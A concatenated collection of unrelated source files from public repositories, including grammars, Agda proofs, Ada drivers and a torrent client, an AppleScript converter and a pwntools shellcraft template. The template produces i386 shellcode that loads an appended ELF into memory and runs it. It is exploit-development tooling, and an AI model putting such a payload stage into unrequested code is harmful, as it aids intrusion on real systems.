notExpression: 'not' expression;
isEmptyExpression: 'empty' field;
comparison: binaryComparison | timeComparison;
binaryComparison: field operator value;
timeComparison: field timeOperator (duration | nowOperator);
timeOperator:
BeforeOperator
| AfterOperator
| YoungerOperator
| OlderOperator;
nowOperator: 'now';
duration: IntNumber unit;
unit: 'seconds' | 'days' | 'months';
inExpression: simpleExpression 'in' scope field;
scope: 'any' | 'all';
withinExpression: field 'within' (value ','?)+;
value: StringLiteral | BooleanLiteral | IntNumber | FloatNumber;
operator:
EqualsOperator
| NotEqualsOperator
| LessOrEqualsThanOperator
| LessThanOperator
| MoreThanOperator
| MoreOrEqualsThanOperator
| ContainsOperator;
EqualsOperator: '==';
NotEqualsOperator: '!=';
LessOrEqualsThanOperator: '<=';
LessThanOperator: '<';
MoreThanOperator: '>';
MoreOrEqualsThanOperator: '>=';
ContainsOperator: 'contains';
BeforeOperator: 'before';
AfterOperator: 'after';
YoungerOperator: 'younger';
OlderOperator: 'older';
BooleanLiteral: True | False;
True: 'true';
False: 'false';
Identifier: [a-zA-Z][a-zA-Z0-9.]*;
IntNumber: [0-9]+;
FloatNumber: [0-9.]+;
StringLiteral: '"' ~('"')* '"';
Whitespace: [ \t\u000C\r\n]+ -> skip;
|
programs/oeis/033/A033417.asm | neoneye/loda | 22 | 240913 | ; A033417: a(n) = floor(97/n).
; 97,48,32,24,19,16,13,12,10,9,8,8,7,6,6,6,5,5,5,4,4,4,4,4,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
add $0,1
mov $1,97
div $1,$0
mov $0,$1
|
test/MonoidTactic.agda | L-TChen/agda-prelude | 111 | 15060 | <gh_stars>100-1000
module MonoidTactic where
open import Prelude
open import Container.Traversable
open import Tactic.Monoid
open import Tactic.Reflection
SemigroupAnd : Semigroup Bool
_<>_ {{SemigroupAnd}} = _&&_
MonoidAnd : Monoid Bool
Monoid.super MonoidAnd = SemigroupAnd
mempty {{MonoidAnd}} = true
Monoid/LawsAnd : Monoid/Laws Bool
Monoid/Laws.super Monoid/LawsAnd = MonoidAnd
left-identity {{Monoid/LawsAnd}} x = refl
right-identity {{Monoid/LawsAnd}} true = refl
right-identity {{Monoid/LawsAnd}} false = refl
monoid-assoc {{Monoid/LawsAnd}} true y z = refl
monoid-assoc {{Monoid/LawsAnd}} false y z = refl
test₁ : (a b : Bool) → (a && (b && a && true)) ≡ ((a && b) && a)
test₁ a b = auto-monoid {{Laws = Monoid/LawsAnd}}
test₂ : ∀ {a} {A : Set a} {{Laws : Monoid/Laws A}} →
(x y : A) → x <> (y <> x <> mempty) ≡ (x <> y) <> x
test₂ x y = auto-monoid
test₃ : ∀ {a} {A : Set a} (xs ys zs : List A) → xs ++ ys ++ zs ≡ (xs ++ []) ++ (ys ++ []) ++ zs
test₃ xs ys zs = runT monoidTactic
|
pwnlib/shellcraft/templates/i386/linux/loader_append.asm | DrKeineLust/pwntools | 2 | 7605 | <filename>pwnlib/shellcraft/templates/i386/linux/loader_append.asm
<%
from pwnlib.shellcraft.i386.linux import loader
from pwnlib.shellcraft import common
%>
<%docstring>
Loads a statically-linked ELF into memory and transfers control.
Similar to loader.asm but loads an appended ELF.
Arguments:
data(str): If a valid filename, the data is loaded from the named file.
Otherwise, this is treated as raw ELF data to append.
If ``None``, it is ignored.
Example:
>>> gcc = process(['gcc','-m32','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write(b'''
... int main() {
... printf("Hello, %s!\\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
The following doctest is commented out because it doesn't work on Travis
for reasons I cannot diagnose. However, it should work just fine :-)
# >>> run_assembly(sc).recvline() == b'Hello, i386!\n'
# True
</%docstring>
<%page args="data = None"/>
<%
elf_data = common.label('elf_data')
load = common.label('load')
%>
jmp ${elf_data}
${load}:
pop eax
${loader('eax')}
${elf_data}:
call ${load}
%if data:
<%
import os
if os.path.isfile(data):
with open(data, 'rb') as f:
data = f.read()
%>
${'.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))}
%endif
|
source/torrent-run.adb | reznikmm/torrent | 4 | 17150 | -- Copyright (c) 2019-2020 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Ada.Calendar.Formatting;
with Ada.Calendar;
with Ada.Containers;
with Ada.Directories;
with Ada.Wide_Wide_Text_IO;
with GNAT.SHA1;
with GNAT.Sockets;
with League.Application;
with League.Base_Codecs;
with League.Holders;
with League.Settings;
with League.Stream_Element_Vectors;
with League.String_Vectors;
with League.Strings;
with Torrent.Contexts;
with Torrent.Metainfo_Files;
with Torrent.Connections;
with Torrent.Logs;
with Torrent.Shutdown;
procedure Torrent.Run is
function "+"
(Text : Wide_Wide_String) return League.Strings.Universal_String
renames League.Strings.To_Universal_String;
procedure Parse_Command_Line;
procedure Print_Help;
procedure Increment_Total (Ignore : Ada.Directories.Directory_Entry_Type);
procedure Each_Torrents
(Dir : League.Strings.Universal_String;
Proc : not null access procedure
(Item : Ada.Directories.Directory_Entry_Type));
Cmd : constant League.String_Vectors.Universal_String_Vector :=
League.Application.Arguments;
Log_Option : constant Wide_Wide_String := "--log=";
Out_Option : constant Wide_Wide_String := "--output=";
Dir_Option : constant Wide_Wide_String := "--torrent-dir=";
Port_Option : constant Wide_Wide_String := "--port=";
Help_Option : constant Wide_Wide_String := "--help";
Port : Positive := 33411;
Path : League.Strings.Universal_String := +"result";
Input_Path : League.Strings.Universal_String := +"torrents";
Total : Ada.Containers.Count_Type := 0;
procedure Set_Peer_Id (Value : out SHA1);
-----------------
-- Set_Peer_Id --
-----------------
procedure Set_Peer_Id (Value : out SHA1) is
Settings : League.Settings.Settings;
Context : GNAT.SHA1.Context;
Element : League.Strings.Universal_String;
Vector : League.Stream_Element_Vectors.Stream_Element_Vector;
Key : constant League.Strings.Universal_String := +"torrent/peer_id";
Now : constant String := Ada.Calendar.Formatting.Image
(Ada.Calendar.Clock);
begin
if Settings.Contains (Key) then
Element := League.Holders.Element (Settings.Value (Key));
Vector := League.Base_Codecs.From_Base_64 (Element);
Value := Vector.To_Stream_Element_Array;
else
GNAT.SHA1.Update (Context, Path.To_UTF_8_String);
GNAT.SHA1.Update (Context, Now);
GNAT.SHA1.Update (Context, GNAT.Sockets.Host_Name);
Value := GNAT.SHA1.Digest (Context);
Vector.Append (Value);
Element := League.Base_Codecs.To_Base_64 (Vector);
Settings.Set_Value (Key, League.Holders.To_Holder (Element));
end if;
end Set_Peer_Id;
---------------------
-- Increment_Total --
---------------------
procedure Increment_Total (Ignore : Ada.Directories.Directory_Entry_Type) is
use type Ada.Containers.Count_Type;
begin
Total := Total + 1;
end Increment_Total;
-------------------
-- Each_Torrents --
-------------------
procedure Each_Torrents
(Dir : League.Strings.Universal_String;
Proc : not null access procedure
(Item : Ada.Directories.Directory_Entry_Type))
is
begin
Ada.Directories.Search
(Directory => Dir.To_UTF_8_String,
Pattern => "*.torrent",
Filter => (Ada.Directories.Ordinary_File => True, others => False),
Process => Proc);
end Each_Torrents;
------------------------
-- Parse_Command_Line --
------------------------
procedure Parse_Command_Line is
Arg : League.Strings.Universal_String;
begin
for J in 1 .. Cmd.Length loop
Arg := Cmd.Element (J);
if Arg.Starts_With (Port_Option) then
Port := Positive'Wide_Wide_Value
(Arg.Tail_From (Port_Option'Length + 1).To_Wide_Wide_String);
elsif Arg.Starts_With (Out_Option) then
Path := Arg.Tail_From (Out_Option'Length + 1);
elsif Arg.Starts_With (Dir_Option) then
Input_Path := Arg.Tail_From (Dir_Option'Length + 1);
elsif Arg.Starts_With (Help_Option) then
Print_Help;
elsif Arg.Starts_With (Log_Option) then
Torrent.Logs.Initialize
(Arg.Tail_From (Log_Option'Length + 1));
end if;
end loop;
end Parse_Command_Line;
----------------
-- Print_Help --
----------------
procedure Print_Help is
begin
Ada.Wide_Wide_Text_IO.Put_Line ("Usage: torrent-run <options>");
Ada.Wide_Wide_Text_IO.Put_Line ("Options are");
Ada.Wide_Wide_Text_IO.Put_Line
(" " & Port_Option & "int - a port to listen");
Ada.Wide_Wide_Text_IO.Put_Line
(" " & Out_Option & "path - a directory to save downloaded files");
Ada.Wide_Wide_Text_IO.Put_Line
(" " & Dir_Option & "path - a directory with torrent files");
Ada.Wide_Wide_Text_IO.Put_Line
(" " & Log_Option & "path - a trace file, if you need it");
end Print_Help;
begin
if Cmd.Is_Empty then
Print_Help;
return;
end if;
League.Application.Set_Application_Name (+"Torrent Client");
League.Application.Set_Application_Version (+"0.1");
League.Application.Set_Organization_Name (+"Matreshka Project");
League.Application.Set_Organization_Domain (+"forge.ada-ru.org");
Parse_Command_Line;
Each_Torrents (Input_Path, Increment_Total'Access);
declare
procedure Add (Item : Ada.Directories.Directory_Entry_Type);
Recycle : aliased Torrent.Connections.Queues.Queue;
Context : Torrent.Contexts.Context
(Capacity => Total,
Port => Port,
Recycle => Recycle'Unchecked_Access);
---------
-- Add --
---------
procedure Add (Item : Ada.Directories.Directory_Entry_Type) is
Meta : constant Torrent.Metainfo_Files.Metainfo_File_Access :=
new Torrent.Metainfo_Files.Metainfo_File;
begin
Meta.Read
(League.Strings.From_UTF_8_String
(Ada.Directories.Full_Name (Item)));
Context.Add_Metainfo_File (Meta);
end Add;
Peer_Id : Torrent.SHA1;
Next_Update : Ada.Calendar.Time;
begin
Set_Peer_Id (Peer_Id);
Context.Initialize (Peer_Id, Path);
Each_Torrents (Input_Path, Add'Access);
Context.Start (Next_Update);
loop
select
Torrent.Shutdown.Signal.Wait_SIGINT;
Ada.Wide_Wide_Text_IO.Put_Line ("Ctrl+C!");
exit;
or
delay until Next_Update;
Context.Update (Next_Update);
end select;
end loop;
Context.Stop;
end;
end Torrent.Run;
|
examples/AIM6/Path/Prelude.agda | asr/agda-kanso | 1 | 10772 | <reponame>asr/agda-kanso
module Prelude where
id : {A : Set} -> A -> A
id x = x
_·_ : {A B C : Set} -> (B -> C) -> (A -> B) -> (A -> C)
f · g = \ x -> f (g x)
flip : {A B C : Set} -> (A -> B -> C) -> B -> A -> C
flip f x y = f y x
Rel : Set -> Set1
Rel X = X -> X -> Set
data False : Set where
record True : Set where
tt : True
tt = _
! : {A : Set} -> A -> True
! = _
data _==_ {A : Set}(x : A) : A -> Set where
refl : x == x
subst : {A : Set}(P : A -> Set){x y : A} -> x == y -> P y -> P x
subst P refl p = p
cong : {A B : Set}(f : A -> B){x y : A} -> x == y -> f x == f y
cong f refl = refl
sym : {A : Set}{x y : A} -> x == y -> y == x
sym refl = refl
trans : {A : Set}{x y z : A} -> x == y -> y == z -> x == z
trans refl yz = yz
data _×_ (A B : Set) : Set where
_,_ : A -> B -> A × B
infixr 10 _,_
record Σ (A : Set)(B : A -> Set) : Set where
field
fst : A
snd : B fst
_,,_ : {A : Set}{B : A -> Set}(x : A) -> B x -> Σ A B
x ,, y = record { fst = x; snd = y }
private module Σp {A : Set}{B : A -> Set} = Σ {A}{B}
open Σp public
data _∨_ (A B : Set) : Set where
inl : A -> A ∨ B
inr : B -> A ∨ B
data Bool : Set where
false : Bool
true : Bool
IsTrue : Bool -> Set
IsTrue false = False
IsTrue true = True
IsFalse : Bool -> Set
IsFalse true = False
IsFalse false = True
data Inspect (b : Bool) : Set where
itsTrue : IsTrue b -> Inspect b
itsFalse : IsFalse b -> Inspect b
inspect : (b : Bool) -> Inspect b
inspect true = itsTrue _
inspect false = itsFalse _
data LeqBool : Rel Bool where
ref : {b : Bool} -> LeqBool b b
up : LeqBool false true
One : Rel True
One _ _ = True
_[×]_ : {A B : Set} -> Rel A -> Rel B -> Rel (A × B)
(R [×] S) (a₁ , b₁) (a₂ , b₂) = R a₁ a₂ × S b₁ b₂
|
src/drivers/sercom_u2201/sam-sercom-i2c.adb | Fabien-Chouteau/samd51-hal | 1 | 8226 | ------------------------------------------------------------------------------
-- --
-- Copyright (C) 2020, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
package body SAM.SERCOM.I2C is
---------------
-- Configure --
---------------
procedure Configure (This : in out I2C_Device;
Baud : UInt8)
is
CTRLB : SERCOM_CTRLB_SERCOM_I2CM_Register;
begin
This.Reset;
This.Periph.SERCOM_I2CM.CTRLA.MODE := 5;
This.Wait_Sync;
This.Periph.SERCOM_I2CM.BAUD := (BAUD => Baud,
BAUDLOW => 0,
HSBAUD => Baud,
HSBAUDLOW => 0);
CTRLB := This.Periph.SERCOM_I2CM.CTRLB;
CTRLB.SMEN := False; -- Smart mode
This.Periph.SERCOM_I2CM.CTRLB := CTRLB;
This.Wait_Sync;
This.Periph.SERCOM_I2CM.STATUS.BUSSTATE := 1; -- Set to IDLE
This.Wait_Sync;
This.Config_Done := True;
end Configure;
------------------
-- Data_Address --
------------------
function Data_Address (This : I2C_Device) return System.Address
is (This.Periph.SERCOM_I2CM.Data'Address);
---------------------
-- Master_Transmit --
---------------------
overriding
procedure Master_Transmit
(This : in out I2C_Device;
Addr : I2C_Address;
Data : I2C_Data;
Status : out I2C_Status;
Timeout : Natural := 1000)
is
begin
-- Address is shifted to the left to use bit 0 as read/write mode
Status := This.Send_Addr (UInt11 (Addr) * 2);
if Status /= Ok then
This.Cmd_Stop;
return;
end if;
for Elt of Data loop
This.Periph.SERCOM_I2CM.DATA := UInt32 (Elt);
This.Wait_Bus;
Status := This.Bus_Status;
exit when Status /= Ok;
end loop;
if This.Do_Stop_Sequence then
This.Cmd_Stop;
end if;
end Master_Transmit;
--------------------
-- Master_Receive --
--------------------
overriding
procedure Master_Receive
(This : in out I2C_Device;
Addr : I2C_Address;
Data : out I2C_Data;
Status : out I2C_Status;
Timeout : Natural := 1000)
is
begin
if Data'Length = 0 then
Status := Ok;
return;
end if;
-- Address is shifted to the left to use bit 0 as read/write mode
Status := This.Send_Addr ((UInt11 (Addr) * 2) or 1);
if Status /= Ok then
This.Cmd_Stop;
return;
end if;
-- Get the first byte
Data (Data'First) := UInt8 (This.Periph.SERCOM_I2CM.DATA);
for Index in Data'First + 1 .. Data'Last loop
This.Cmd_Read;
This.Wait_Bus;
Status := This.Bus_Status;
exit when Status /= Ok;
Data (Index) := UInt8 (This.Periph.SERCOM_I2CM.DATA);
end loop;
This.Cmd_Nack;
This.Cmd_Stop;
end Master_Receive;
---------------
-- Mem_Write --
---------------
overriding
procedure Mem_Write
(This : in out I2C_Device;
Addr : I2C_Address;
Mem_Addr : UInt16;
Mem_Addr_Size : I2C_Memory_Address_Size;
Data : I2C_Data;
Status : out I2C_Status;
Timeout : Natural := 1000)
is
begin
This.Do_Stop_Sequence := False;
case Mem_Addr_Size is
when Memory_Size_8b =>
This.Master_Transmit (Addr => Addr,
Data => (0 => UInt8 (Mem_Addr)),
Status => Status,
Timeout => Timeout);
when Memory_Size_16b =>
This.Master_Transmit (Addr => Addr,
Data => (UInt8 (Shift_Right (Mem_Addr, 8)),
UInt8 (Mem_Addr and 16#FF#)),
Status => Status,
Timeout => Timeout);
end case;
This.Do_Stop_Sequence := True;
if Status /= Ok then
This.Cmd_Stop;
return;
end if;
This.Master_Transmit (Addr => Addr,
Data => Data,
Status => Status,
Timeout => Timeout);
end Mem_Write;
--------------
-- Mem_Read --
--------------
overriding
procedure Mem_Read
(This : in out I2C_Device;
Addr : I2C_Address;
Mem_Addr : UInt16;
Mem_Addr_Size : I2C_Memory_Address_Size;
Data : out I2C_Data;
Status : out I2C_Status;
Timeout : Natural := 1000)
is
begin
This.Do_Stop_Sequence := False;
case Mem_Addr_Size is
when Memory_Size_8b =>
This.Master_Transmit (Addr => Addr,
Data => (0 => UInt8 (Mem_Addr)),
Status => Status,
Timeout => Timeout);
when Memory_Size_16b =>
This.Master_Transmit (Addr => Addr,
Data => (UInt8 (Shift_Right (Mem_Addr, 8)),
UInt8 (Mem_Addr and 16#FF#)),
Status => Status,
Timeout => Timeout);
end case;
This.Do_Stop_Sequence := True;
if Status /= Ok then
This.Cmd_Stop;
return;
end if;
This.Master_Receive (Addr => Addr,
Data => Data,
Status => Status,
Timeout => Timeout);
end Mem_Read;
---------------
-- Wait_Sync --
---------------
procedure Wait_Sync (This : in out I2C_Device) is
begin
while This.Periph.SERCOM_I2CM.SYNCBUSY.SYSOP loop
null;
end loop;
end Wait_Sync;
--------------
-- Wait_Bus --
--------------
procedure Wait_Bus (This : in out I2C_Device) is
INTFLAG : SERCOM_INTFLAG_SERCOM_I2CM_Register;
begin
loop
INTFLAG := This.Periph.SERCOM_I2CM.INTFLAG;
exit when INTFLAG.MB or else INTFLAG.SB or else INTFLAG.ERROR;
end loop;
end Wait_Bus;
---------------
-- Send_Addr --
---------------
function Send_Addr (This : in out I2C_Device;
Addr : UInt11)
return I2C_Status
is
Reg : SERCOM_ADDR_SERCOM_I2CM_Register;
begin
Reg := This.Periph.SERCOM_I2CM.ADDR;
Reg.ADDR := Addr;
Reg.TENBITEN := False;
Reg.HS := False; -- High-speed transfer
Reg.LENEN := False; -- Automatic transfer length
This.Periph.SERCOM_I2CM.ADDR := Reg;
This.Wait_Sync;
This.Wait_Bus;
return This.Bus_Status;
end Send_Addr;
--------------
-- Cmd_Stop --
--------------
procedure Cmd_Stop (This : in out I2C_Device) is
begin
This.Periph.SERCOM_I2CM.CTRLB.CMD := 3;
This.Wait_Sync;
end Cmd_Stop;
--------------
-- Cmd_Nack --
--------------
procedure Cmd_Nack (This : in out I2C_Device) is
begin
This.Periph.SERCOM_I2CM.CTRLB.ACKACT := True;
This.Wait_Sync;
end Cmd_Nack;
--------------
-- Cmd_Read --
--------------
procedure Cmd_Read (This : in out I2C_Device) is
CTRLB : SERCOM_CTRLB_SERCOM_I2CM_Register;
begin
CTRLB := This.Periph.SERCOM_I2CM.CTRLB;
CTRLB.CMD := 2; -- Read command
CTRLB.ACKACT := False; -- False means send ack
This.Periph.SERCOM_I2CM.CTRLB := CTRLB;
This.Wait_Sync;
end Cmd_Read;
----------------
-- Bus_Status --
----------------
function Bus_Status (This : I2C_Device) return I2C_Status is
begin
if This.Periph.SERCOM_I2CM.STATUS.RXNACK
or else
This.Periph.SERCOM_I2CM.STATUS.BUSERR
then
return HAL.I2C.Err_Error; -- We should have an addr nack status value
elsif This.Periph.SERCOM_I2CM.STATUS.ARBLOST then
return HAL.I2C.Busy;
else
return HAL.I2C.Ok;
end if;
end Bus_Status;
end SAM.SERCOM.I2C;
|
prototyping/Luau/Type.agda | FreakingBarbarians/luau | 1 | 7781 | module Luau.Type where
data Type : Set where
nil : Type
_⇒_ : Type → Type → Type
none : Type
any : Type
_∪_ : Type → Type → Type
_∩_ : Type → Type → Type
|
Pandoc and Textutils/Textutils-HTMLtoRTF.applescript | rogues-gallery/applescript | 360 | 814 | <reponame>rogues-gallery/applescript
set {tids, AppleScript's text item delimiters} to {AppleScript's text item delimiters, "."}
set docDir to choose folder with prompt "Choose a folder with HTML files" default location (path to documents folder)
set txtDir to choose folder with prompt "Choose a folder to store the new RTF files" default location (path to desktop folder)
tell application "Finder"
set docFiles to (every document file of folder docDir whose (name extension is in {"html"})) as alias list
set txtDir to (POSIX path of txtDir)
repeat with aDoc in docFiles
set thisDoc to contents of aDoc
set the item_path to the quoted form of the POSIX path of thisDoc
set the item_name to (text item 1 of text items of (get name of thisDoc))
set out_file to quoted form of (txtDir & item_name & ".rtf")
try
set res to do shell script "textutil -convert rtf -output " & out_file & " " & item_path
on error e number n
display dialog "An error occurred during conversion of : " & item_path & ": " & n & e
end try
end repeat
end tell
set AppleScript's text item delimiters to tids
|
applet/aide/source/editors/aide-editor-of_subtype.ads | charlie5/aIDE | 3 | 16812 | with
AdaM.a_Type.a_subtype,
gtk.Widget;
private
with
gtk.gEntry,
gtk.Box,
gtk.Label,
gtk.Button;
package aIDE.Editor.of_subtype
is
type Item is new Editor.item with private;
type View is access all Item'Class;
package Forge
is
function to_Editor (the_Target : in AdaM.a_Type.a_subtype.view) return View;
end Forge;
overriding
function top_Widget (Self : in Item) return gtk.Widget.Gtk_Widget;
private
use gtk.Button,
gtk.gEntry,
gtk.Label,
gtk.Box;
type Item is new Editor.item with
record
Target : AdaM.a_Type.a_subtype.view;
top_Box : gtk_Box;
subtype_name_Entry : Gtk_Entry;
type_name_Button : gtk_Button;
first_Entry : Gtk_Entry;
last_Entry : Gtk_Entry;
rid_Button : gtk_Button;
end record;
overriding
procedure freshen (Self : in out Item);
end aIDE.Editor.of_subtype;
|
src/frontend/Experimental_Ada_ROSE_Connection/parser/ada_c_demo/source/ada_c_ada_main.adb | ouankou/rose | 488 | 15796 | <reponame>ouankou/rose
with Ada.Text_IO;
with c_code_h;
procedure Ada_C_Ada_Main is
package ATI renames Ada.Text_Io;
begin
ATI.Put_Line ("Ada_C_Ada_Main: Calling c_ada_caller");
c_code_h.c_ada_caller;
ATI.Put_Line ("Ada_C_Ada_Main: Returned from c_ada_caller");
end Ada_C_Ada_Main;
|
oeis/159/A159501.asm | neoneye/loda-programs | 11 | 179651 | ; A159501: Numerator of Hermite(n, 8/13).
; Submitted by <NAME>
; 1,16,-82,-12128,-110900,14622656,421383496,-22912610432,-1363595118448,40138176712960,4790267177726176,-59022762446185984,-18754577565924898112,-60676916573068018688,81436783159504914005120,1590111699775836488513536,-387442703422276530189741824,-14798407327144148212917071872,1989471256630094571063583370752,121865050284426510864404799201280,-10826543605527643161539855619748864,-997032437611165504028014132516634624,60894287510256563096161669068711282688,8388241806240731697490899794493075587072
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
mul $2,16
mul $3,-338
mul $3,$0
lpe
mov $0,$1
|
oeis/166/A166260.asm | neoneye/loda-programs | 11 | 169749 | ; A166260: a(n) = A089026(n) - 1.
; Submitted by <NAME>(s2)
; 0,1,2,0,4,0,6,0,0,0,10,0,12,0,0,0,16,0,18,0,0,0,22,0,0,0,0,0,28,0,30,0,0,0,0,0,36,0,0,0,40,0,42,0,0,0,46,0,0,0,0,0,52,0,0,0,0,0,58,0,60,0,0,0,0,0,66,0,0,0,70,0,72,0,0,0,0,0,78,0,0,0,82,0,0,0,0,0,88,0,0,0,0,0,0
mov $1,$0
seq $1,38548 ; Number of divisors of n that are at most sqrt(n).
cmp $1,1
mul $1,$0
mov $0,$1
|
snobol/snobol.g4 | augustand/grammars-v4 | 0 | 5190 | /*
[The "BSD licence"]
Copyright (c) 2012 <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
grammar snobol;
prog
: lin +
;
lin
: line? EOL
;
line
: (label? subject pattern? (EQ expression +)? (COLON transfer)?)
| (COLON transfer)
| (COMMENT | END)
;
label
: STRING
;
subject
: (AMP? STRING ('[' STRING (',' STRING)* ']')?)
;
pattern
: STRINGLITERAL1
| STRINGLITERAL2
;
expression
: multiplyingExpression ((PLUS | MINUS) multiplyingExpression)*
;
multiplyingExpression
: powExpression ((TIMES | DIV) powExpression)*
;
powExpression
: atom (POW expression)?
;
atom
: (STRINGLITERAL1 | STRINGLITERAL2 | INTEGER)
| subject
| command
| '[' expression (',' expression)* ']'
| LPAREN expression RPAREN
;
command
: ident
| differ
| eq
| ne
| ge
| le
| lt
| integer
| lgt
| atan
| chop
| cos
| exp
| ln
| remdr
| sin
| tan
| date
| dupl
| reverse
| replace
| size
| trim
| array
| sort
| table
| break_
;
ident
: 'ident' LPAREN expression RPAREN
;
differ
: 'differ' LPAREN expression RPAREN
;
eq
: 'eq' LPAREN expression RPAREN
;
ne
: 'ne' LPAREN expression RPAREN
;
ge
: 'ge' LPAREN expression RPAREN
;
gt
: 'gt' LPAREN expression RPAREN
;
le
: 'le' LPAREN expression RPAREN
;
lt
: 'lt' LPAREN expression RPAREN
;
integer
: 'integer' LPAREN expression RPAREN
;
lgt
: 'lgt' LPAREN expression RPAREN
;
atan
: 'atan' LPAREN expression RPAREN
;
chop
: 'chop' LPAREN expression RPAREN
;
cos
: 'cos' LPAREN expression RPAREN
;
exp
: 'exp' LPAREN expression RPAREN
;
ln
: 'ln' LPAREN expression RPAREN
;
remdr
: 'remdr' LPAREN expression RPAREN
;
sin
: 'sin' LPAREN expression RPAREN
;
tan
: 'tan' LPAREN expression RPAREN
;
dupl
: 'dupl' LPAREN expression COMMA expression RPAREN
;
reverse
: 'reverse' LPAREN expression RPAREN
;
date
: 'date' LPAREN RPAREN
;
replace
: 'replace' LPAREN expression COMMA expression COMMA expression RPAREN
;
size
: 'size' LPAREN expression RPAREN
;
trim
: 'trim' LPAREN expression RPAREN
;
array
: 'array' LPAREN expression COMMA expression RPAREN
;
convert
: 'convert' LPAREN expression COMMA expression RPAREN
;
table
: 'table' LPAREN expression RPAREN
;
sort
: 'sort' LPAREN expression RPAREN
;
break_
: 'break' LPAREN expression RPAREN
;
transfer
: (transferpre? LPAREN (label | END) RPAREN)?
;
transferpre
: ('f' | 'F' | 's' | 'S')
;
COMMA
: ','
;
LPAREN
: '('
;
RPAREN
: ')'
;
AMP
: '&'
;
PLUS
: '+'
;
MINUS
: '-'
;
TIMES
: '*'
;
DIV
: '/'
;
POW
: '^'
;
EQ
: '='
;
COLON
: ':'
;
END
: 'END'
;
STRINGLITERAL1
: '"' ~ ["\r\n]* '"'
;
STRINGLITERAL2
: '\'' ~ [\'\r\n]* '\''
;
STRING
: ('a' .. 'z' | 'A' .. 'Z') ('0' .. '9' | 'a' .. 'z' | 'A' .. 'Z')*
;
INTEGER
: ('+' | '-')? ('0' .. '9') +
;
REAL
: ('+' | '-')? ('0' .. '9') + ('.' ('0' .. '9') +)? (('e' | 'E') REAL)*
;
fragment A
: ('a' | 'A')
;
fragment B
: ('b' | 'B')
;
fragment C
: ('c' | 'C')
;
fragment D
: ('d' | 'D')
;
fragment E
: ('e' | 'E')
;
fragment F
: ('f' | 'F')
;
fragment G
: ('g' | 'G')
;
fragment H
: ('h' | 'H')
;
fragment I
: ('i' | 'I')
;
fragment J
: ('j' | 'J')
;
fragment K
: ('k' | 'K')
;
fragment L
: ('l' | 'L')
;
fragment M
: ('m' | 'M')
;
fragment N
: ('n' | 'N')
;
fragment O
: ('o' | 'O')
;
fragment P
: ('p' | 'P')
;
fragment Q
: ('q' | 'Q')
;
fragment R
: ('r' | 'R')
;
fragment S
: ('s' | 'S')
;
fragment T
: ('t' | 'T')
;
fragment U
: ('u' | 'U')
;
fragment V
: ('v' | 'V')
;
fragment W
: ('w' | 'W')
;
fragment X
: ('x' | 'X')
;
fragment Y
: ('y' | 'Y')
;
fragment Z
: ('z' | 'Z')
;
COMMENT
: '*' ~ [\r\n]*
;
EOL
: [\r\n] +
;
WS
: (' ' | '\t') + -> skip
;
|
